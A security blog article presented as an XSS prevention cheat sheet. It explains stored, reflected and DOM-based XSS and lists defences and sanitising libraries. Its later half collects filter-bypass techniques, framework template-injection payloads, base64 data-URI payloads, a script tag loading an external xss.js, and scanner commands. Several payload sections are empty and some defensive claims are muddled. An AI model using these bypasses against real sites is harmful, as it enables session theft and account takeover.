XSS Prevention Cheat Sheet Cross-Site Scripting -Extended

What is XSS?

Cross-Site Scripting in short XSS refers to the penetration of website security. A simple XSS vulnerability can act as a sitewide logger. To be honest, it does more damage to the user browsing the site than the web server itself. So yes, it is quite dangerous. Some people may confuse XSS with CSS, which is a very different thing. Cascading Style Sheets or CSS is used in the design functionality of a webpage.

Simple JavaScript like this can cause a massive hole in security as an XSS attack

“https://youhavebeenpawned.com” is a name that we used for demo purposes.

XSS is one of the Deadliest Attacks hackers do on a web application. In this vulnerability, the attacker injects a malicious script to perform a malicious action on trusted websites. This Malicious script executes on the browser and affects the visiting user.

XSS is quite prevalent in websites where the user input is not encoded or escaped.

Cross-Site Scripting (XSS) typically has three different types. They are:

1. Stored XSS
2. Reflected XSS
3. DOM Based XSS

What is Stored or Persistent XSS?

Unsecure websites and databases fall under stored XSS attack patterns most of the time. Malicious scripts are injected by an attacker directly into the webserver via input fields. It can be the comment form, sign-up or login box, or visitor log. The database or server also takes the input in the most welcoming manner and it lets the attacker mess with the web server itself.

This is the typical behavior of a non-secure site. When visited, the malicious script is being retrieved causing it to execute. As the executable JavaScript code requests for stored information, we call it stored XSS or second-order XSS attack.

Stored XSS attack example

While browsing a webpage that takes comment or feedback as input can be a great example. A regular comment would be a user’s thought on the content. But an attacker does things differently. The attacker may leave a comment like “It is very helpful”,(+) attached with a malicious script or JavaScript file. Something like:

Once the comment is posted. Every time a user visits the page, the comment loads for him too. Allowing HTML to activate the script. This script is being stored on the page as you can see which is hosted on some other site. It can be coded to capture cookies or get the inputs.

It is one of the simplest tricks in the book as far as the Stored XSS attack goes. We mentioned authstealer.js as a simple JavaScript file.

There are plenty of things that can go wrong depending on the stored code behind the script.

Reflected XSS attack

As the name suggests, the network route is being reflected after modification by an attacker in a Reflected XSS attack. When an attacker injects a bad script into a webpage, the web server or database stores it. In this case, the database or web server is not secured at all. A good example is the YouTube comment section. Though YouTube is not an insecure website by any means. Any comment on YouTube does reload the page. Its functionality is executed in the background and we can assume it is server sided.

Malicious JavaScript can be injected here and thus will reload the page. Not our primary example site but an insecure site. So, when the user loads the page, the script mines data from the user to the attacker. Our HTTP response reflects everything from the user to the attacker.

A Good Example

Suppose a URL (Uniform Resource Locator) takes in the search term by user input on the webpage. So, it stores a small amount of data in the URL bar.

The web application reflects the search term on the server

<p>User search result: hacking tutorial</p>

If the webserver fails to purify or process the data securely, it is prone to be injected.

A successful Reflected XSS attack can give the attacker all the access or security level access of the user account. It also allows modification and interaction with payload which is a serious threat.

DOM Based XSS Attack

DOM Based XSS, also known as type-0 XSS is executed when the returning payload is being modified by an attacker via malicious script to perform an XSS attack. It happens within the DOM environment because the browser is supposed to execute JavaScript whenever it sees it. And if you direct to an insecure site, even after the security warning, the code runs as “unexpected.”

HTTP response doesn’t change in a DOM Based XSS attack and the most troubling thing is, proxy falls under the least needed tool to perform it. No change is noticed on the server but the client-side falls under the victim category. But the issue is not very common.

XSS Prevention Cheat Sheet

XSS is best prevented while coding an application. Here are some Prevention techniques for XSS:

• Escape all user Input and Output. Did you know, JavaScript string in values requires a different escaping procedure than an HTML context!

Escaping all special characters is mandatory. Password complexity is another thing to keep in mind while browsing or tweaking improvements in a webpage as a registered user. Special characters or symbols (! @ # $ % ^ & *) should be escaped properly.

Allowed and non-permitted special characters require to be listed properly. Also, proper rules of what types of special characters can be used and on what length helps to prevent cross-site scripting. To get the best security and usability alongside, it is necessary to escape special characters. But under a proper encoding blanket of course.

• Internet Explorer has an Attribute HTTP-Only that can be set for the cookies to prevent stealing of cookies and avoids access to cookies by any script. This is Output Validation instead of input Validation.
• Other browsers e.g., Chrome, Firefox, Safari, Edge automatically install the certificate and uses it for websites. Rules are set by these browsers themselves as modern-day browsers have built-in security to prevent outside scripting parameters. A general rule of thumb is to browse or visit a site should be by one device. But today we use simulation devices or browsers to access the same page for many reasons. Vulnerability is handled by installing these SSL certificates and protecting methods by default.
• Escape all untrusted data based on the body, Attribute, JavaScript, CSS, and URL.
• White-List input validation is an excellent strategy for the prevention of XSS. Here we define a list of Allowed input by the user. Any input which is not as per the allowed white-list (which is just the allowed regular expressions) is not taken as an input and simply rejected.
• Use of OWASP Auto-Sanitizationlibrary is highly recommended.
• To prevent XSS also use Anti-Sammy or Java HTML Sanitizer Project (also from OWASP)
• Use OWASP Content Security Policy.
• Output Validation is a must thing. Otherwise, without proper escaping or validation, it will be treated as active content by the browser.
• Choosing security questions properly to have an extended XSS filter should be practiced. The proper ruling of security questions is the following according to OWASP:

1. The questions and explanations should be memorable
2. The answers should be constant and not changeable
3. The user must be able to answer the questions easily and at the same and the imposter will have a hard time obtaining them.
4. The questions and answers should be clear to the user.

• Build a good XSS Filter. Let’s discuss the general process of building a good XSS filter.

mXSS and DOM Clobbering

It’s basically impossible for XSS filters to correctly anticipate every way that HTML will be mutated by a browser and interacting libraries, so what happens is that you can sometimes sneak a XSS payload in as invalid HTML and the browser + sanitizer will correct it into a valid payload… which bypasses all filtering.

Here is a paper on mXSS with lots of details

Sanitizer bypass mXSS payloads

Note: mXSS can be browser-dependent, so try multiple browsers as well.

Bleach <=3.1.1

DOMPurify <2.1
(note: I had to play with some of these a little bit to get them to work. .)

DOMPurify <2.0.1

Double encoding

Simple enough, sometimes an application will perform XSS filtering on a string before it’s decoded once more, which leaves it open by filter bypasses. It’s pretty rare, but some bug hunters I know swear by it so I’m including it for reference.

URL Schema filter bypasses

Let’s say you’ve got an opportunity to inject data into something that touches the URL. Like a location.href, but it’s filtered. This is a list of things you can attempt to to do bypass it.

Credit for this particular set of hackery goes to this great article on XSS in Django

(Some of these are browser dependent. Try your payload separately before relying on it.)

Mime type exploitation

If you can force a browser to load data, either through setting the URL (via e.g. location.href or the href field in an a tag) or other means, you can execute javascript. In Firefox, these are treated as the same domain as the originating page but not in Chrome. Regardless, this can lead to a few dangerous outcomes explained below.

If you’re unfamiliar, you can test these payloads by pasting them into the URL of your browser. They all simply do an alert(‘XSS’), but you can verify this by using a base64 decoder on the payloads if you want to be cautious.

data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk7PC9zY3JpcHQ+

data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAwIiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlhTUyIpOzwvc2NyaXB0Pjwvc3ZnPg==

(Firefox only)

data:application/vnd.wap.xhtml+xml;base64,PHg6c2NyaXB0IHhtbG5zOng9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkveGh0bWwiPmFsZXJ0KCdYU1MnKTwveDpzY3JpcHQ+

Not XSS, but consider other mime types which can weak havoc. Like the following exampe using application/x-xpinstall in Firefox that prompts users to install a plugin… imagine how bad it would be if someone chained a text/html with this to spoof the appearance of a legitimate website then prompt the users to install a plugin which might get access to all their browser data?
(Firefox only)

data:application/x-xpinstall;base64,<BASE64 ENCODED FIREFOX .XPI PLUGIN>

Building A Good XSS Filter

Keep in mind that no perfect XSS Filter can be made. XSS filters are just an added layer of protection. An XSS filter will harden our web applications, adding more protection from rogue attacks and script kiddies.

Basic Rules For XSS Filter 

• Encode all data input by the user. As we are making a new web application for broader use frequently, more features are being implemented. In HTML it is necessary to encode attributes before rendering the HTML content. At the time of DOM XSS, it is necessary to encode HTML attributes that do not execute. One of the basic principles of HTML is to encode untrusted data. So, it comes in handy as the first phase of defense.
• If the data is not via user and arrives by a GET request, encode this data too. Challenge token can utilize GET (URL) requests alongside POST requests. There are many design strategies as far as CSRF goes. Browser history, network appliance, or HTTP logs are accessed by GET request at several locations. This sensitive server-side information should be maintained properly.
• URLs can contain code. If you ever thought elsewhere, facts should be rechecked. Phishing or pharming attackers will target specific URLs and will embed malicious HTML code or JavaScript code in it. This is why certain parameters to purify URL is required.

Even in the rendering URL context, simple JavaScript protocol handlers such as <a> tag can contain codes. Though today we have been through enough attacks on websites, that browsers have many built-in features to stop XSS attacks at their doorstep. Still, it is very easy to mess up. Simple data introduced in JavaScript code can appear in a server-side encoding context similar to the image below.

The following data must be properly sanitized:

1. URL
2. HTTP Referrer Objects: HTTP Header Field defines the address of the webpage associated with the resource requested.
3. GET Parameters from a Form.
4. POST Parameters from a Form.
5. Windows.location: Javascript Object that can be used to get the address of the current webpage and also can be used to redirect to another web page.
6. Document.Referrer: Returns the URL of the Document that loaded the current document.
7. Document.Location: Contains the information about the current URL.
8. Document.URL
9. Document.URLENCODED
10. Cookie Data
11. All Headers Data
12. DATABASE Data

& -> &amp
<  -> &lt
>  -> &gt

• Use of OPEN SOURCE LIBRARIES To prevent XSS :
  1. PHP AntiXSS: Automatically detects the encoding of data that must be filtered.
  2. XSS_Clean.php filter: Cleans URF Encodings and Nested Exploits. (available on Github)
  3.  HTML Purifier : HTML library written in PHP  .This will remove any malicious code from the Input. Also available as a plugin in most Php Frameworks.
  4. XSS Protect: This Library works by creating an HTML Tag Tree of the Webpage. This will parse all the HTML Webpage and Match all the Tags. After that, it will filter the interface and will filter any improper HTML Attributes.
  5. XSS HTML Filter: This is an XSS filter for JAVA.

<SCRIPT SRC=http://xss.rocks/xss.js></SCRIPT>

• .net library: The .net library filters HTML by a white list approach. Attributes like tags, OWASP XSS filters can be configured within its budget.
• ModSecurity WAF: It is used to detect and apply cookie attributes and similar security features.

Tag-attribute separators

Sometimes filters naively assume only certain characters can separate a tag and its attributes, here’s a full list of valid separators that work in firefox and chrome:

Examples

Basically, if you have a payload that looks like:

You can try to replace the space between ‘svg’ and ‘onload’ with any of those chars and still work like you expect it to. This works for all HTML tags.

So, these are all valid HTML and will execute (Note: In new Chrome this breaks if you open it in a new tab without refreshing it manually

Forward slash:

New line:

Tab:

New page (0xC):

JavaScript event based XSS

Good reference for events and supported browsers: More HTML events

Standard HTML events

(0-click only)

Situational HTML events

Examples:

HTML5 events

(0-click only)

Examples:

CSS-based

True XSS injection through CSS is dead (for now). The following are XSS vectors that depend on CSS stylesheets or are otherwise enhanced by them.

Note: Below uses style tags to set up keyframes for animation(start|end), but you can also check for already included CSS to reuse what’s already there by using e.g. animation: alreadydefined;. It doesn’t matter what the animation is, just that it exists.

Payload that injects an invisible overlay that will trigger a payload if anywhere on the page is clicked:

Same, but for moving your mouse anywhere over the page (0-click-ish):

Weird XSS vectors

Just some odd/weird vectors that I don’t see mentioned often.

XSS Polyglots

I use several XSS polyglots because sometimes you only have a certain # of characters to input and need a DOM or non-DOM based one.
Don’t rely on these 100% because there are circumstances where they will fail, but if you’re data injection testing everything then polyglots can give okay coverage.

tip: you can easily create some great personal variations on these by varying the capitalization and using the tag-attribute separators.

Frameworks

To attack JS Frameworks, always do research on the relevant templating language.

VueJS

V3

{{_openBlock.constructor('alert(1)')()}}

Credit: Gareth Heyes, Lewis Ardern & PwnFunction

V2

{{constructor.constructor('alert(1)')()}}

Credit: Mario Heiderich

AngularJS

{{constructor.constructor('alert(1)')()}}

Credit: Mario Heiderich
That payload works in most cases, but this page has a bunch of other recommendations.

Mavo

Credit: Gareth Heyes:

XSS Filter Bypasses

JS template literals to call functions

Abusing HTML entities

Note that this will only work with HTML injection but not if the value gets injected directly into a script tag. This is because the decoding happens in the HTML parser, and anything between the script tags just gets sent to a javacript engine directly without decoding.

HTML entities encoder available here, make sure to uncheck the ‘only encode unsafe…’ box.

Note that you can use three different sets of HTML entities encoding and combine them as you wish: named (&plar; -> (), hex (&x28; -> () and decimal (( -> ().

Restricted charset

These 3 sites will transform valid JS to horrible monstrosities that have a good shot at bypassing a lot of filters:

• JSFuck – Translate arbitrary javascript to executable javacript using only 6 characters. Only downside is that complex javascript payloads can get very long.
• JSFsck – JSFuck without parentheses – same as above, but more restricted charset.
• jjencode – Situational, but also good to know about.
• arubesh.js – needs some extra chars ontop of JSFuck, but may be useful if space is limited along with a loose filtering.

Keyword filtering

Avoiding keywords and specific substrings:

General tricks

To constructing strings

Regex literals:

/part1/.source+/part2/.source => 'part1part2'
Numbers to strings:
8680439..toString(30) => 'alert' ( Number is generated using parseInt(“alert”,30), other bases also work )

use character escape sequences inside of strings

simple tool for this is available here:

"\x41" -> "A": hex encoding
"\u0065" -> "A": unicode encoding (value is decimal)
"1" -> "A": octal encoding

VaRy ThE capItaliZatiOn

Sometimes a regex or other custom-made filters do case sensitive matching. You can then just use a toLowerCase(), like:

globalThis["aLeRt".toLowerCase()]

Calling functions

alert`1` : Template literal syntax
alert.apply(this,[1]): Using Function.prototype.apply
alert.call(this,1): Using Function.prototype.call
alert(1): Obviously, but included for completeness.
[1].find(alert): Using predicates
[1].filter(alert): Using predicates

Reuse and recycle

Remember to look into what is already loaded! jQuery is an easy example, but any sufficiently complex framework will likely have something usable. Wappalyzer or equivalent can help here.

window.jQuery.globalEval("alert(1)")
$.globalEval("alert(1)")

Open-source XSS tools

XSS tools to get an upper hand in the learning curve for penetration testers. We have mentioned these tools because they are open-sourced and updated frequently.

• XSSer: XSSer is a great tool for automating XSS and has a built-in library of 1300 vulnerabilities. It is a Python-based tool to bypass many WAFs.

They are to name a few. Installing is pretty simple but is dependent on many libraries like pycurl, bs4(beautiful soup 4), GeoIP, gi, cairocffi, selenium, and other web drivers.

To run on Debian-based systems execute the following command:

sudo apt-get install python3-pycurl python3-bs4 python3-GeoIP python3-gi python3-cairocffi python3-selenium firefoxdriver

For systems like Kali, Fedora a sudo pip installation should do the trick. Any other web driver should also be installed.

sudo pip3 install pycurl bs4 pygeoip gobject cairocffi selenium

• XSSNiper: According to the usability, XSSNiper is an XSS discovery tool with mass scanning functionalities. A simple line like the one we mentioned below triggers the XSSNiper XSS tool to run its magic on a page.

The tool is also known as Cross-Site Sniper because it and targets GET parameters. Later the GET parameters are injected with an XSS payload.

$ python xsssniper.py -u http://youhavebeenpawned.com/index.php?page=test

To install, run the line below on your command prompt:

$ git clone https://github.com/gbrindisi/xsssniper.git

• W3af: W3af is a JavaScript-based open-source vulnerability tester. Can run on python too with fundamentals like core functionality, UI, and plugins. Clone the Git repo from below to get started:

$ sudo git clone https://github.com/andresriancho/w3af.git

And to use the GUI

$ sudo ./w3af_gui

• XSStrike: XSStrike is equipped with four parsers. It can generate an intelligent payload, fuzzing engine, and very fast crawler. What other injectors do is, try to inject every single payload available and it works on the vulnerable ones.

But XSStrike analyses the responses before doing so and the success rate is far broader. To run the application( “–crawl” is also an option with this one):

$ python xsstrike.py -u http://youhavebeenpawned.com/search.php?q=query

XSS Hunter: XSS Hunter is one of the latest frameworks to find available points of XSS. It is one of the easier tools packed with perks like management, organization & monitorization.

Command-line for installing and running the config files are respectively mentioned below:

$ sudo apt-get install git (if not already installed)
 $ git clone https://github.com/mandatoryprogrammer/xsshunter.git

$ ./generate_config.py

Conclusion: XSS attack or XSS vulnerability causes manual exploitation to a website. Checking for crawler/spider and any other content that can welcome Metafile exploitation is certainly a matter of concern. Providing clear roles for users and setting adequate permission to secure the web framework is necessary before loading as a real-world application.

According to OWASP, a few configuration management are necessary. They can be checking backups or files that are unreferenced in the site manual, scripts, or administrative URLs. Non-production data should be tested in the live environment under different authorities and keep on looking for flaws. A threat modelling practice and proper documentation to work as an easy and safe guideline should be provided.

Hope you can piece together these small bits of explanations to draw the big picture and serve as a another useful frontline document on XSS Prevention.

Suggest an edit to this article

Go to Cybersecurity Knowledge Base

Got to the Latest Cybersecurity News

Go to Cybersecurity Academy

Go to Homepage

Stay informed of the latest Cybersecurity trends, threats and developments. Sign up for our Weekly Cybersecurity Newsletter Today.

Remember, CyberSecurity Starts With You!

• Globally, 30,000 websites are hacked daily.
• 64% of companies worldwide have experienced at least one form of a cyber attack.
• There were 20M breached records in March 2021.
• In 2020, ransomware cases grew by 150%.
• Email is responsible for around 94% of all malware.
• Every 39 seconds, there is a new attack somewhere on the web.
• An average of around 24,000 malicious mobile apps are blocked daily on the internet.

 5,870 total views,  32 views today

• About
• Latest Posts

Connect

RiSec.n0tst3

Hello! I'm Steve, an independent security researcher, consultant and analyst from Scotland, UK.

I've had an avid interest in Computers, Technology and Security since my early teens. 20 years on, and, it's a whole lot more complicated...

I've assisted Governments, Individuals and Organizations throughout the world. Including; US DOJ, NHS UK, GOV UK.

Connect

Latest posts by RiSec.n0tst3 (see all)

• OctoBot WebInterface – Remote Code Execution (RCE) – 0.4.3 - 21 July 2022
• Dangerous ‘Lightning Framework’ Linux malware installs rootkits, backdoors - 21 July 2022
• Atlassian Patches critical Confluence hardcoded credentials flaw - 21 July 2022